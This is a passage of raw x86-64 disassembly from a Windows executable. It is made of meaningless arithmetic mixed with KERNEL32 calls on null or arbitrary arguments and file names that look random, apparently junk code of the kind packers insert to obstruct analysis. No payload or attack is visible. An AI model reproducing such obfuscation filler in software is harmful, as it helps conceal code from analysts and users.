mov rax, qword [rsp + 0x12f08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b6c]
and ecx, eax
mov eax, ecx
mov dword [0x140369bc4], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x73c0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2bc0]
mov word [rsp + 0x2bd4], ax
movzx eax, byte [0x140363eff]
imul eax, eax, 0xa1
mov rcx, qword [rsp + 0x134c8]
mov byte [rcx], al
lea rax, [rsp + 0x9678]
mov qword [rsp + 0x135d8], rax
mov rax, qword [rsp + 0x133c0]
mov ecx, dword [rsp + 0x8e2c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f08]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b4c], eax
mov rax, qword [rsp + 0x135d8]
mov eax, dword [rax]
mov rcx, qword [0x140369c78]
mov qword [rsp + 0x135e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x135e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9b78], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x135e8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov eax, dword [rsp + 0x8924]
movzx ecx, al
mov eax, dword [rsp + 0x9b3c]
sar eax, cl
mov dword [rsp + 0x8ac4], eax
mov rcx, qword [rsp + 0x133e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a98], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x135f0], rax
movzx eax, byte [rsp + 0x49c]
mov rcx, qword [0x140369c48]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13400]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x13508]
movzx eax, word [rax]
mov word [0x140369cb8], ax
lea rax, [rsp + 0x99e4]
mov qword [rsp + 0x135f8], rax
mov rax, qword [rsp + 0x12fc8]
mov rcx, qword [rsp + 0x13018]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9678], eax
mov rax, qword [rsp + 0x13440]
mov ecx, dword [rsp + 0x9a5c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13118]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a08], eax
lea rax, [rsp + 0x9a24]
mov qword [rsp + 0x13600], rax
mov rax, qword [rsp + 0x130d0]
mov ecx, dword [0x14036244c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12fc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f60]
movzx eax, byte [rax]
mov byte [rsp + 0x748], al
movsx eax, word [rsp + 0x268c]
movsx ecx, word [rsp + 0x1ed0]
sub eax, ecx
mov word [rsp + 0x2bc8], ax
mov rax, qword [rsp + 0x130b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12dd8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13128]
mov byte [rcx], al
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
add eax, ecx
mov word [0x140362458], ax
lea rax, [rsp + 0x9a28]
mov qword [rsp + 0x13608], rax
mov rax, qword [rsp + 0x131f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a9c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133a0]
mov dword [rcx], eax
mov qword [rsp + 0x20], 0
mov r9d, 0xef
mov r8d, 0x3b4a
mov edx, 0x38
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9a38], eax
lea rax, [rsp + 0x1bd4]
mov qword [rsp + 0x13610], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13618], rax
lea rdx, [rsp + 0x42b50]
mov rcx, qword [rsp + 0x134a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9b40], eax
movzx eax, byte [rsp + 0x739]
mov rcx, qword [rsp + 0x12f28]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13400]
mov byte [rcx], al
mov rax, qword [rsp + 0x12dd0]
mov rcx, qword [0x140369b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9ab4], eax
lea rax, [rsp + 0x9b04]
mov qword [rsp + 0x13620], rax
mov eax, dword [rsp + 0x59fc]
mov ecx, dword [rsp + 0x9a88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a5c], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
lea rax, [rsp + 0x62f0]
mov qword [rsp + 0x13628], rax
lea rax, [rsp + 0x2b98]
mov qword [0x140369cc0], rax
mov rax, qword [rsp + 0x12dd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13400]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x737], al
mov eax, dword [rsp + 0x99d8]
mov dword [rsp + 0x9b8c], eax
mov rax, qword [rsp + 0x13048]
mov ecx, dword [rsp + 0x9a90]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13188]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x738]
shl eax, cl
mov rcx, qword [rsp + 0x12ea0]
mov byte [rcx], al
lea rax, [rsp + 0x2bc8]
mov qword [rsp + 0x13630], rax
mov rax, qword [0x140369b88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bd0]
xor eax, ecx
mov word [rsp + 0x2234], ax
mov rax, qword [rsp + 0x131d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13120]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x716], al
mov rax, qword [rsp + 0x131a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x130f8]
mov qword [rsp + 0x13638], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13638]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x13358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x133e0]
mov ecx, dword [rsp + 0x8880]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x140369c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x132c8]
mov rcx, qword [rsp + 0x13068]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9b78], eax
lea rax, [0x140362474]
mov qword [rsp + 0x13640], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.FwDV3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13648], rax
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0x9b84]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7804], eax
lea rax, [rsp + 0x72d]
mov qword [rsp + 0x13650], rax
mov rcx, qword [rsp + 0x133e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a3c], eax
mov rax, qword [0x140369bb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29ac]
or eax, ecx
mov rcx, qword [rsp + 0x133c8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a8c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x13570]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a00]
mov dword [rsp + 0x9b90], eax
mov rax, qword [rsp + 0x131c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a48]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13260]
mov dword [rcx], eax
lea rax, [rsp + 0x9b44]
mov qword [0x140369cc8], rax
movzx eax, byte [rsp + 0x120]
mov rcx, qword [rsp + 0x132a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x204], al
movzx eax, word [rsp + 0x2b84]
movzx ecx, word [rsp + 0x1588]
sub eax, ecx
mov word [rsp + 0x2234], ax
lea rax, [rsp + 0x2ba0]
mov qword [rsp + 0x13658], rax
movsx eax, byte [rsp + 0x491]
mov rcx, qword [rsp + 0x13050]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12ea0]
mov byte [rcx], al
mov rax, qword [0x140369c40]
mov rcx, qword [rsp + 0x131d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9b90], eax
lea rax, [rsp + 0x9b78]
mov qword [rsp + 0x13660], rax
mov rax, qword [rsp + 0x13410]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bbc]
sub eax, ecx
mov word [rsp + 0x2bcc], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b94], eax
lea rdx, [rsp + 0x42a38]
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a7c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b80], eax
mov dword [rsp + 0x4b130], 0x11c
lea rax, [rsp + 0x733]
mov qword [rsp + 0x13668], rax
mov eax, dword [rsp + 0x9a84]
mov dword [0x140369cd0], eax
lea rdx, [rsp + 0x42a38]
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a68], eax
mov rax, qword [rsp + 0x13440]
mov ecx, dword [rsp + 0x601c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x132a8]
mov dword [rcx], eax
mov rax, qword [0x140369cc8]
mov rcx, qword [rsp + 0x13088]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x870c], eax
lea rax, [rsp + 0x9a9c]
mov qword [rsp + 0x13670], rax
mov rax, qword [rsp + 0x13200]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13218]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x12f90]
mov byte [rcx], al
mov dword [rsp + 0x4b250], 0x11c
mov rax, qword [rsp + 0x12ff8]
movzx eax, word [rax]
mov word [rsp + 0x2bd8], ax
mov rax, qword [rsp + 0x132a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9b60]
sar eax, cl
mov rcx, qword [rsp + 0x130e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x82a8]
mov ecx, dword [rsp + 0x9a2c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13108]
mov dword [rcx], eax
mov rax, qword [0x140369bd0]
mov ecx, dword [rsp + 0x709c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x57fc], eax
mov eax, dword [rsp + 0x82a8]
mov ecx, dword [rsp + 0x636c]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140369bb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12df0]
mov ecx, dword [rsp + 0x92e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7804], eax
mov rax, qword [rsp + 0x13390]
movzx eax, byte [rax]
mov byte [rsp + 0x749], al
movsx eax, word [rsp + 0x268c]
mov rcx, qword [rsp + 0x134b0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13098]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
movzx eax, word [0x140369c6c]
mov rcx, qword [rsp + 0x13538]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bd8], ax
mov rcx, qword [rsp + 0x12df8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x1f3]
mov qword [rsp + 0x13678], rax
mov rax, qword [rsp + 0x13608]
mov ecx, dword [rsp + 0x9a64]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x134f8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov eax, dword [0x140369bec]
mov dword [rsp + 0x9b98], eax
movzx eax, byte [rsp + 0x747]
mov rcx, qword [rsp + 0x13010]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x130d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13410]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13370]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140369bd8], ax
mov eax, dword [rsp + 0x9b04]
mov ecx, dword [rsp + 0x9a18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5418], eax
lea rdx, [rsp + 0x42a00]
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9b9c], eax
mov eax, dword [rsp + 0x9a78]
movzx ecx, al
mov eax, dword [rsp + 0x9b38]
sar eax, cl
mov rcx, qword [rsp + 0x13160]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6a84]
movzx ecx, al
mov eax, dword [rsp + 0x9a40]
shl eax, cl
mov rcx, qword [rsp + 0x132b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8e2c]
mov dword [rsp + 0x9ba0], eax
mov rax, qword [rsp + 0x132e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13420]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x742], al
mov rax, qword [0x140369b80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x25a0]
or eax, ecx
mov word [rsp + 0x17fc], ax
mov rax, qword [rsp + 0x134c0]
mov ecx, dword [rsp + 0x9a5c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x130e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee8]
mov rcx, qword [0x140369bb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x62f0], eax
lea rax, [rsp + 0x73e]
mov qword [0x140369cd8], rax
mov rax, qword [rsp + 0x13148]
movzx eax, word [rax]
mov word [rsp + 0x2bdc], ax
movzx eax, byte [rsp + 0x739]
mov rcx, qword [rsp + 0x13200]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13120]
mov byte [rcx], al
movzx eax, word [0x140369c90]
mov word [rsp + 0x2be0], ax
mov rax, qword [rsp + 0x12d88]
mov ecx, dword [rsp + 0x8e20]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9a80], eax
mov dword [rsp + 0x20], 0x1e07
mov r9d, 0x2329
mov r8d, 0x2455
mov edx, 0x2db7
mov rcx, qword [rsp + 0x12de8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x993c], eax
mov eax, dword [rsp + 0x954c]
mov ecx, dword [rsp + 0x9ac4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x97b4], eax
mov eax, dword [rsp + 0x601c]
mov ecx, dword [0x140369b9c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5784], eax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9950]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x81e0], eax
lea rax, [rsp + 0x5c48]
mov qword [rsp + 0x13680], rax
mov rax, qword [rsp + 0x13370]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b9c]
sub eax, ecx
mov word [rsp + 0x2234], ax
mov rax, qword [rsp + 0x13038]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134d0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1403525a3], al
mov rax, qword [0x140369bd0]
mov rcx, qword [rsp + 0x13368]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x99e4], eax
lea rax, [rsp + 0x9a14]
mov qword [rsp + 0x13688], rax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9ba4], eax
mov rax, qword [rsp + 0x131f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9a30]
shl eax, cl
mov dword [rsp + 0x9ae8], eax
mov rcx, qword [rsp + 0x13480]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9ae0], eax
mov eax, dword [rsp + 0x709c]
mov dword [rsp + 0x9ba8], eax
movzx eax, word [rsp + 0x2740]
cdq
mov ecx, 0x5ca
idiv ecx
mov rcx, qword [rsp + 0x13448]
mov word [rcx], ax
mov rax, qword [rsp + 0x130d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72b]
xor eax, ecx
mov byte [rsp + 0x4a8], al
movsx eax, byte [0x1403525a2]
movsx ecx, byte [rsp + 0x730]
sar eax, cl
mov rcx, qword [rsp + 0x12ef8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bdc]
or eax, ecx
mov word [rsp + 0x2bc8], ax
mov eax, dword [rsp + 0x9a64]
mov dword [0x140369ce0], eax
mov rax, qword [rsp + 0x13628]
mov eax, dword [rax]
mov dword [rsp + 0x9bac], eax
lea rdx, [rsp + 0x42b88]
mov rcx, qword [rsp + 0x13388]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a04], eax
movzx eax, byte [rsp + 0x72d]
mov rcx, qword [rsp + 0x13170]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4a8], al
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
mov word [rsp + 0x2be4], ax
mov rcx, qword [rsp + 0x12cf0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x132b8]
mov ecx, dword [rsp + 0x64b0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13350]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13210]
mov rcx, qword [rsp + 0x13080]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x131d0]
mov dword [rcx], eax
lea rdx, [rsp + 0x42bc0]
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x993c], eax
lea rax, [rsp + 0x9b24]
mov qword [rsp + 0x13690], rax
mov rax, qword [rsp + 0x13660]
mov rcx, qword [rsp + 0x132d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a70], eax
lea rax, [rsp + 0x734]
mov qword [rsp + 0x13698], rax
mov rax, qword [rsp + 0x133d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29ac]
and eax, ecx
mov word [0x140369cb8], ax
mov rax, qword [rsp + 0x130f8]
mov ecx, dword [rsp + 0x9a80]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a28], eax
mov eax, dword [rsp + 0x73c0]
mov ecx, dword [rsp + 0x9a2c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x64b0], eax
mov rax, qword [rsp + 0x13320]
mov eax, dword [rax]
mov ecx, dword [0x140362478]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x567c], eax
mov eax, dword [rsp + 0x9acc]
mov ecx, dword [rsp + 0x6b08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f0], eax
mov rax, qword [rsp + 0x12df0]
mov eax, dword [rax]
mov dword [rsp + 0x9bb0], eax
movsx eax, byte [rsp + 0x72c]
movsx ecx, byte [rsp + 0x512]
sub eax, ecx
mov rcx, qword [rsp + 0x12f60]
mov byte [rcx], al
lea rax, [rsp + 0x1938]
mov qword [rsp + 0x136a0], rax
movzx eax, word [rsp + 0x1ab8]
movzx ecx, word [rsp + 0x13d8]
shl eax, cl
mov rcx, qword [rsp + 0x133b8]
mov word [rcx], ax
lea rax, [rsp + 0x729]
mov qword [0x140369ce8], rax
mov rcx, qword [rsp + 0x12eb0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x9a74]
movzx ecx, al
mov eax, dword [rsp + 0x5414]
shr eax, cl
mov rcx, qword [rsp + 0x13640]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x940c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fc4], eax
movzx eax, word [0x140362450]
movzx ecx, word [rsp + 0x280c]
or eax, ecx
mov rcx, qword [rsp + 0x13448]
mov word [rcx], ax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4acb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a7c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a98], eax
lea rax, [rsp + 0x337]
mov qword [rsp + 0x136a8], rax
mov eax, dword [0x140369c68]
mov ecx, dword [rsp + 0x9990]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13540]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13070]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a94]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12fb0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x136b0], rax
mov dword [rsp + 0x20], 0x297e
mov r9d, 0x2f62
mov r8d, 0x339e
mov edx, 0x18bc
mov rcx, qword [rsp + 0x13648]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x993c], eax
mov rax, qword [rsp + 0x131a8]
mov eax, dword [rax]
mov dword [rsp + 0x9bb4], eax
mov rax, qword [0x140369bc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x337]
movzx ecx, byte [rsp + 0x2b0]
add eax, ecx
mov byte [0x140363efd], al
mov rax, qword [rsp + 0x13100]
movzx eax, word [rax]
mov word [rsp + 0x2be8], ax
lea rdx, [rsp + 0x42bf8]
mov rcx, qword [rsp + 0x13648]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9b40], eax
mov edx, 0x1dda
mov rcx, qword [rsp + 0x13458]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9a8c], eax
mov rax, qword [rsp + 0x12fb0]
mov rcx, qword [rsp + 0x13358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a90]
mov ecx, dword [rsp + 0x5810]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12fd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x135a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12ef8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x281], al
mov rax, qword [0x140369c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e24]
or eax, ecx
mov word [rsp + 0x1938], ax
movzx eax, word [rsp + 0x2b88]
mov word [rsp + 0x2bec], ax
movzx eax, byte [rsp + 0x3d2]
movzx ecx, byte [0x140363efd]
imul eax, ecx
mov byte [rsp + 0x716], al
mov rcx, qword [rsp + 0x13078]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a60], eax
mov eax, dword [rsp + 0x9a9c]
mov ecx, dword [rsp + 0x99e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ba0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.OBzayU2yj7_aCl5qVlkjx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x136b8], rax
lea rax, [rsp + 0x9b20]
mov qword [0x140369cf0], rax
lea rax, [rsp + 0x9b18]
mov qword [rsp + 0x136c0], rax
mov rax, qword [rsp + 0x131f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13238]
mov qword [rsp + 0x136c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x136c8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x135f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x135d8]
mov rcx, qword [rsp + 0x13540]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5498], eax
mov rax, qword [rsp + 0x13020]
movzx eax, word [rax]
mov rcx, qword [0x140369b88]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x131e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x630]
mov byte [rsp + 0x74a], al
mov rax, qword [rsp + 0x13320]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9b3c]
shl eax, cl
mov dword [rsp + 0x9ab4], eax
mov rax, qword [0x140369ba8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b70]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ac0], eax
lea rax, [rsp + 0x9ad4]
mov qword [rsp + 0x136d0], rax
mov rax, qword [rsp + 0x13000]
mov rcx, qword [rsp + 0x136c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140362470], eax
movzx eax, word [rsp + 0x2b9c]
imul eax, eax, 0x314
mov rcx, qword [rsp + 0x12f18]
mov word [rcx], ax
movzx eax, byte [rsp + 0x70d]
movzx ecx, byte [rsp + 0x120]
or eax, ecx
mov byte [rsp + 0x394], al
movsx eax, byte [rsp + 0x12c]
movsx ecx, byte [rsp + 0x73b]
add eax, ecx
mov byte [rsp + 0x72c], al
movsx eax, word [rsp + 0x1e24]
mov rcx, qword [rsp + 0x134b0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13310]
mov word [rcx], ax
mov eax, dword [rsp + 0x57fc]
mov dword [rsp + 0x9bb8], eax
mov rax, qword [rsp + 0x13260]
mov rcx, qword [rsp + 0x13328]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13300]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x2be4]
mov qword [rsp + 0x136d8], rax
mov rax, qword [rsp + 0x13420]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13288]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
mov rax, qword [rsp + 0x135f8]
mov rcx, qword [rsp + 0x12ce0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140362484], eax
mov rax, qword [rsp + 0x133e0]
mov ecx, dword [rsp + 0x99b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a24], eax
mov rax, qword [rsp + 0x135d0]
mov eax, dword [rax]
mov dword [rsp + 0x9bbc], eax
mov rax, qword [rsp + 0x12de0]
mov rcx, qword [0x140369ba8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x134f8]
mov dword [rcx], eax
lea rax, [rsp + 0x2be8]
mov qword [rsp + 0x136e0], rax
movzx eax, byte [rsp + 0x1c8]
movzx ecx, byte [rsp + 0x70d]
or eax, ecx
mov byte [rsp + 0x204], al
lea rdx, [rsp + 0x42c30]
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9980], eax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12fc8]
mov qword [rsp + 0x136e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x136e8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x526c], eax
mov rax, qword [rsp + 0x13160]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a84]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ef0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9b70]
mov rcx, qword [rsp + 0x12f48]
